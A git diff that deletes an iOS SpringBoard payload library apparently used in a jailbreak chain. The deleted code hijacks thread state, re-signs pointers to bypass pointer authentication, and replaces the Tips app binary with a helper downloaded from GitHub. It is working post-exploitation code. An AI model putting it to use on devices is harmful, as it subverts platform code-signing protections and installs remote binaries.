diff --git a/SpringBoardTweak/.gitignore b/SpringBoardTweak/.gitignore deleted file mode 100644 index faf8687..0000000 --- a/SpringBoardTweak/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -.theos/ -packages/ -.DS_Store diff --git a/SpringBoardTweak/Makefile b/SpringBoardTweak/Makefile deleted file mode 100644 index d321fb0..0000000 --- a/SpringBoardTweak/Makefile +++ /dev/null @@ -1,15 +0,0 @@ -TARGET := iphone:clang:latest:15.0 -ARCHS = arm64 arm64e -FINALPACKAGE = 1 -STRIP = 0 -GO_EASY_ON_ME = 1 - -include $(THEOS)/makefiles/common.mk - -LIBRARY_NAME = SpringBoardTweak - -SpringBoardTweak_FILES = SpringBoardTweak.m -SpringBoardTweak_CFLAGS = -fno-objc-arc -SpringBoardTweak_INSTALL_PATH = /usr/local/lib - -include $(THEOS_MAKE_PATH)/library.mk diff --git a/SpringBoardTweak/SpringBoardTweak.m b/SpringBoardTweak/SpringBoardTweak.m deleted file mode 100644 index bac9fa4..0000000 --- a/SpringBoardTweak/SpringBoardTweak.m +++ /dev/null @@ -1,326 +0,0 @@ -@import Darwin; -@import MachO; -@import UIKit; - -#define FIX_SELECTOR(sel) *(&@selector(sel)) = (SEL)sel_registerName(#sel) - -static NSString *findTipsAppPath(void) { - NSFileManager *fm = [NSFileManager defaultManager]; - NSString *bundleBase = @"/var/containers/Bundle/Application"; - NSArray *uuids = [fm contentsOfDirectoryAtPath:bundleBase error:nil]; - for (NSString *uuid in uuids) { - NSString *tipsApp = [[bundleBase stringByAppendingPathComponent:uuid] stringByAppendingPathComponent:@"Tips.app"]; - NSString *tipsBin = [tipsApp stringByAppendingPathComponent:@"Tips"]; - if ([fm fileExistsAtPath:tipsBin]) { - return tipsApp; - } - } - return nil; -} - -static void showAlert(NSString *title, NSString *message) { - UIAlertController *a = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert]; - [a addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]]; - [[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:a animated:YES completion:nil]; -} - -static void installTrollStoreHelper(void) { - dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ - NSString *tipsAppPath = findTipsAppPath(); - if (!tipsAppPath) { - dispatch_async(dispatch_get_main_queue(), ^{ - showAlert(@"Error", @"Could not find Tips.app in /var/containers/Bundle/Application/"); - }); - return; - } - - NSString *tipsBin = [tipsAppPath stringByAppendingPathComponent:@"Tips"]; - NSString *tipsBak = [tipsAppPath stringByAppendingPathComponent:@"Tips.bak"]; - NSString *downloadURL = @"https://github.com/opa334/TrollStore/releases/download/2.1/PersistenceHelper_Embedded"; - NSString *tmpPath = @"/tmp/PersistenceHelper_Embedded"; - - // Download PersistenceHelper_Embedded - NSURLRequest *request = [NSURLRequest requestWithURL:[NSURL URLWithString:downloadURL] - cachePolicy:NSURLRequestReloadIgnoringLocalCacheData - timeoutInterval:60]; - __block NSData *downloadedData = nil; - __block NSError *downloadError = nil; - dispatch_semaphore_t sem = dispatch_semaphore_create(0); - - NSURLSessionDataTask *task = [[NSURLSession sharedSession] dataTaskWithRequest:request - completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) { - downloadedData = data; - downloadError = error; - dispatch_semaphore_signal(sem); - }]; - [task resume]; - dispatch_semaphore_wait(sem, DISPATCH_TIME_FOREVER); - - if (downloadError || !downloadedData || downloadedData.length == 0) { - dispatch_async(dispatch_get_main_queue(), ^{ - showAlert(@"Error", [NSString stringWithFormat:@"Failed to download PersistenceHelper: %@", - downloadError ? downloadError.localizedDescription : @"Empty response"]); - }); - return; - } - - // Write to tmp first - NSFileManager *fm = [NSFileManager defaultManager]; - [downloadedData writeToFile:tmpPath atomically:YES]; - - // Backup Tips -> Tips.bak (only if Tips.bak doesn't already exist) - if (![fm fileExistsAtPath:tipsBak]) { - NSError *backupError = nil; - [fm copyItemAtPath:tipsBin toPath:tipsBak error:&backupError]; - if (backupError) { - dispatch_async(dispatch_get_main_queue(), ^{ - showAlert(@"Error", [NSString stringWithFormat:@"Failed to backup Tips: %@", backupError.localizedDescription]); - }); - return; - } - } - - // Replace Tips with PersistenceHelper_Embedded - NSError *removeError = nil; - [fm removeItemAtPath:tipsBin error:&removeError]; - NSError *moveError = nil; - [fm moveItemAtPath:tmpPath toPath:tipsBin error:&moveError]; - if (moveError) { - dispatch_async(dispatch_get_main_queue(), ^{ - showAlert(@"Error", [NSString stringWithFormat:@"Failed to replace Tips: %@", moveError.localizedDescription]); - }); - return; - } - - // Set executable permissions - NSDictionary *attrs = @{NSFilePosixPermissions: @(0755)}; - [fm setAttributes:attrs ofItemAtPath:tipsBin error:nil]; - - // Respring - dispatch_async(dispatch_get_main_queue(), ^{ - showAlert(@"Success", @"TrollStore Helper installed! Device will respring now."); - dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(2.0 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{ - exit(0); - }); - }); - }); -} - -void payload_entry(void *arg) { - dispatch_async(dispatch_get_main_queue(), ^{ - // fix selectors - FIX_SELECTOR(alertControllerWithTitle:message:preferredStyle:); - FIX_SELECTOR(addAction:); - FIX_SELECTOR(actionWithTitle:style:handler:); - FIX_SELECTOR(presentViewController:animated:completion:); - FIX_SELECTOR(sharedApplication); - FIX_SELECTOR(keyWindow); - FIX_SELECTOR(rootViewController); - FIX_SELECTOR(defaultManager); - FIX_SELECTOR(contentsOfDirectoryAtPath:error:); - FIX_SELECTOR(fileExistsAtPath:); - FIX_SELECTOR(stringByAppendingPathComponent:); - FIX_SELECTOR(copyItemAtPath:toPath:error:); - FIX_SELECTOR(removeItemAtPath:error:); - FIX_SELECTOR(moveItemAtPath:toPath:error:); - FIX_SELECTOR(setAttributes:ofItemAtPath:error:); - FIX_SELECTOR(writeToFile:atomically:); - FIX_SELECTOR(sharedSession); - FIX_SELECTOR(dataTaskWithRequest:completionHandler:); - FIX_SELECTOR(resume); - FIX_SELECTOR(requestWithURL:cachePolicy:timeoutInterval:); - FIX_SELECTOR(localizedDescription); - FIX_SELECTOR(length); - - UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Coruna" message:@"SpringBoard is pwned." preferredStyle:UIAlertControllerStyleAlert]; - [alert addAction:[UIAlertAction actionWithTitle:@"Install TrollStore Helper" style:UIAlertActionStyleDefault handler:^(id action){ - installTrollStoreHelper(); - }]]; - [alert addAction:[UIAlertAction actionWithTitle:@"Respring" style:UIAlertActionStyleDefault handler:^(id action){ - exit(0); - }]]; - [alert addAction:[UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleDefault handler:nil]]; - [[UIApplication sharedApplication].keyWindow.rootViewController presentViewController:alert animated:YES completion:nil]; - }); - - // infinite loop - CFRunLoopRun(); -} - -// opainject: set TLS to main thread -void _pthread_set_self(pthread_t p); -pthread_t pthread_main_thread_np(void); - -__attribute__((noinline)) -void *pacia(void* ptr, uint64_t ctx) { -#if __arm64e__ - __asm__("xpaci %[value]\n" : [value] "+r"(ptr)); - __asm__("pacia %0, %1" : "+r"(ptr) : "r"(ctx)); -#endif - return ptr; -} - -#if __arm64e__ -#include -#include -#include -#include -#include -#include - -// Fixup chain pointer format for ARM64E authenticated pointers -typedef struct { - uint64_t target : 32; // runtimeOffset from image base - uint64_t high8 : 8; - uint64_t diversity: 16; // per-location discriminator - uint64_t addrDiv : 1; // address diversity flag - uint64_t key : 2; // ptrauth key (IA=0 IB=1 DA=2 DB=3) - uint64_t next : 4; - uint64_t bind : 1; // 0=rebase 1=bind - uint64_t auth : 1; // must be 1 -} dyld_chained_ptr_arm64e_auth_rebase; - -void resign_auth_got(const struct mach_header_64 *targetHeader) { - size_t (*pac_strlcpy)(char *dst, const char *src, size_t size) = pacia(strlcpy, 0); - int (*pac_strncmp)(const char *s1, const char *s2, size_t n) = pacia(strncmp, 0); - int (*pac_strcmp)(const char *s1, const char *s2) = pacia(strcmp, 0); - uint8_t *(*pac_getsectiondata)(const struct mach_header_64 *mh, const char *segname, const char *sectname, unsigned long *size) = pacia(getsectiondata, 0); - kern_return_t (*pac_vm_protect)(vm_map_t target_task, vm_address_t address, vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection) = pacia(vm_protect, 0); - int (*pac_fsync)(int fd) = pacia(fsync, 0); - int (*pac_close)(int fd) = pacia(close, 0); - int (*pac_sleep)(unsigned int seconds) = pacia(sleep, 0); - - int (*pac_open)(const char *path, int oflag, ...) = pacia(open, 0); - void (*pac_dprintf)(int fd, const char *format, ...) = pacia(dprintf, 0); - int fd = pac_open("/tmp/resign.log", O_WRONLY | O_CREAT | O_TRUNC, 0644); - - assert(targetHeader->magic == MH_MAGIC_64); - uintptr_t base = (uintptr_t)targetHeader; - - // Walk load commands to find __AUTH_GOT or __DATA_CONST.__auth_got - struct load_command *lcp = (void *)((uintptr_t)targetHeader + sizeof(struct mach_header_64)); - for(int i = 0; i < targetHeader->ncmds; i++, lcp = (void *)((uintptr_t)lcp + lcp->cmdsize)) { - if (lcp->cmd != LC_SEGMENT_64) continue; - struct segment_command_64 *segCmd = (struct segment_command_64 *)lcp; - if (pac_strncmp(segCmd->segname, "__AUTH_CONST", sizeof(segCmd->segname)) && - pac_strncmp(segCmd->segname, "__DATA_CONST", sizeof(segCmd->segname)) && - pac_strncmp(segCmd->segname, "__DATA", sizeof(segCmd->segname))) continue; - - struct section_64 *sections = (void *)((uintptr_t)lcp + sizeof(struct segment_command_64)); - for (int j = 0; j < segCmd->nsects; j++) { - struct section_64 *section = §ions[i]; - if ((section->flags & SECTION_TYPE) != S_LAZY_SYMBOL_POINTERS && - (section->flags & SECTION_TYPE) != S_NON_LAZY_SYMBOL_POINTERS) continue; - pac_dprintf(fd, "Found section: %s\n", section->sectname); - - char segname[sizeof(section->segname)+1]; - pac_strlcpy(segname, section->segname, sizeof(segname)); - char sectname[sizeof(section->sectname)+1]; - pac_strlcpy(sectname, section->sectname, sizeof(sectname)); - pac_dprintf(fd, "Processing section: %s.%s\n", segname, sectname); - if (pac_strcmp(sectname, "__auth_got")) continue; - - unsigned long sectionSize = 0; - uint8_t *sectionStart = pac_getsectiondata(targetHeader, segname, sectname, §ionSize); - pac_vm_protect(mach_task_self(), (vm_address_t)sectionStart, sectionSize, false, VM_PROT_READ | VM_PROT_WRITE); - void **symbolPointers = (void **)sectionStart; - for (uint32_t i = 0; i < (sectionSize / sizeof(void *)); i++) { - void *symbolPointer = symbolPointers[i]; - if (!symbolPointer) continue; - pac_dprintf(fd, "Original pointer at index %u: %p\n", i, symbolPointer); - symbolPointers[i] = ptrauth_sign_unauthenticated(symbolPointers[i], ptrauth_key_process_independent_code, 0); - } - } - } - - pac_dprintf(fd, "Done processing\n"); - pac_fsync(fd); - pac_close(fd); - -// -// struct load_command *lc = (void*)(base + sizeof(struct mach_header_64)); -// for (uint32_t i = 0; i < mh->ncmds; i++, lc = (void*)((uint8_t*)lc + lc->cmdsize)) { -// if (lc->cmd != LC_SEGMENT_64) continue; -// struct segment_command_64 *seg = (void*)lc; -// -// if (strncmp(segCmd->segname, "__AUTH_CONST", sizeof(segCmd->segname)) && -// strncmp(segCmd->segname, "__DATA_CONST", sizeof(segCmd->segname)) && strncmp(segCmd->segname, "__DATA", sizeof(segCmd->segname)) continue; -// -// struct section_64 *sect = (void*)(seg + 1); -// for (uint32_t j = 0; j < seg->nsects; j++, sect++) { -// -// uint64_t *slot = (uint64_t*)(base + sect->addr); // vm addr relative to base -// // use sect->offset if file-offset needed, but post-load use vmaddr -// slot = (uint64_t*)(sect->addr + (uintptr_t)base - (uintptr_t)mh->reserved /* ASLR slide handled below */); -// -// size_t count = sect->size / sizeof(uint64_t); -// for (size_t k = 0; k < count; k++) { -// uint64_t raw = slot[k]; -// -// // Check if this is still an unresolved auth chain entry -// // auth bit = bit 63, bind bit = bit 62 -// if (!(raw >> 63 & 1)) continue; // not an auth ptr, skip -// -// dyld_chained_ptr_arm64e_auth_rebase *chain = -// (dyld_chained_ptr_arm64e_auth_rebase*)&raw; -// -// if (chain->auth != 1) continue; -// -// // Resolve target address -// uintptr_t target = base + chain->target; -// -// // Build discriminator -// uint64_t disc = chain->diversity; -// if (chain->addrDiv) { -// disc = ptrauth_blend_discriminator(&slot[k], disc); -// } -// -// // Sign with correct key -// void *signed_ptr; -// switch (chain->key) { -// case 0: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asia, disc); break; -// case 1: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asib, disc); break; -// case 2: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asda, disc); break; -// case 3: signed_ptr = ptrauth_sign_unauthenticated((void*)target, ptrauth_key_asdb, disc); break; -// } -// -// signed_ptr = (void *)0x4141414141414141; // for testing, overwrite with invalid pointer to verify fixup works -// -// // Write back — need __DATA_CONST to be writable first -// vm_protect(mach_task_self(), (vm_address_t)&slot[k], -// sizeof(uint64_t), false, VM_PROT_READ | VM_PROT_WRITE); -// slot[k] = (uint64_t)signed_ptr; -// vm_protect(mach_task_self(), (vm_address_t)&slot[k], -// sizeof(uint64_t), false, VM_PROT_READ); -// } -// } -// } -} -#endif - -extern const struct mach_header_64 _mh_dylib_header; -int last(void) { -#if __arm64e__ - pthread_t (*pac_pthread_main_thread_np)(void) = pacia(pthread_main_thread_np, 0); - void (*pac__pthread_set_self)(pthread_t) = pacia(_pthread_set_self, 0); - pac__pthread_set_self(pac_pthread_main_thread_np()); - resign_auth_got(&_mh_dylib_header); -#else - _pthread_set_self(pthread_main_thread_np()); -#endif - - // create another thread to run the real payload - pthread_t self; - pthread_create(&self, NULL, (void *)payload_entry, NULL); - pthread_join(self, NULL); - - // should not return - thread_terminate(mach_thread_self()); - return 0; -} - -int end(void) { - // should not return - thread_terminate(mach_thread_self()); - return 0; -} diff --git a/SpringBoardTweak/control b/SpringBoardTweak/control deleted file mode 100644 index a77d6a9..0000000 --- a/SpringBoardTweak/control +++ /dev/null @@ -1,9 +0,0 @@ -Package: com.yourcompany.springboardtweak -Name: SpringBoardTweak -Version: 0.0.1 -Architecture: iphoneos-arm -Description: An awesome library of some sort!! -Maintainer: khanhduytran0 -Author: khanhduytran0 -Section: System -Tag: role::developer diff --git a/TweakLoader/Makefile b/TweakLoader/Makefile index 98687b0..6b299ec 100644 --- a/TweakLoader/Makefile +++ b/TweakLoader/Makefile @@ -15,4 +15,7 @@ TweakLoader_CFLAGS = -fno-objc-arc TweakLoader_LDFLAGS = -sectcreate __TEXT __SBTweak $(THEOS_OBJ_DIR)/SpringBoardTweak.dylib TweakLoader_INSTALL_PATH = /usr/local/lib +$(THEOS_OBJ_DIR)/TweakLoader.dylib: \ + $(THEOS_OBJ_DIR)/SpringBoardTweak.dylib + include $(THEOS_MAKE_PATH)/library.mk